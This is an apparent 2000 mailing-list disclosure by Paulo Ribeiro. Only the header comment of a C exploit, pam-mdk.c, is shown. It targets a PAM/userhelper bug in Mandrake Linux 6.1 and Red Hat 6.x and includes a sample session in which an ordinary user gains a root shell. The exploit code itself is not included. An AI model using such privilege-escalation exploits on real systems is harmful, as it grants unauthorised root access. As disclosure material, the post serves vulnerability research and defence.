Exploit for Mandrake 6.1 (PAM/userhelper bug)
From: prrar () NITNET COM BR (Paulo Ribeiro)
Date: Wed, 15 Mar 2000 00:14:05 +0000


/*
 * pam-mdk.c (C) 2000 Paulo Ribeiro
 *
 * DESCRIPTION:
 * -----------
 * Mandrake Linux 6.1 has the same problem as Red Hat Linux 6.x but its
 * exploit (pamslam.sh) doesn't work on it (at least on my machine). So,
 * I created this C program based on it which exploits PAM/userhelper
 * and gives you UID 0.
 *
 * SYSTEMS TESTED:
 * --------------
 * Red Hat Linux 6.0, Red Hat Linux 6.1, Mandrake Linux 6.1.
 *
 * RESULTS:
 * -------
 * [prrar () linux prrar]$ id
 * uid=501(prrar) gid=501(prrar) groups=501(prrar)
 * [prrar () linux prrar]$ gcc pam-mdk.c -o pam-mdk
 * [prrar () linux prrar]$ ./pam-mdk
 * sh-2.03# id
 * uid=0(root) gid=501(prrar) groups=501(prrar)
 * sh-2.03#
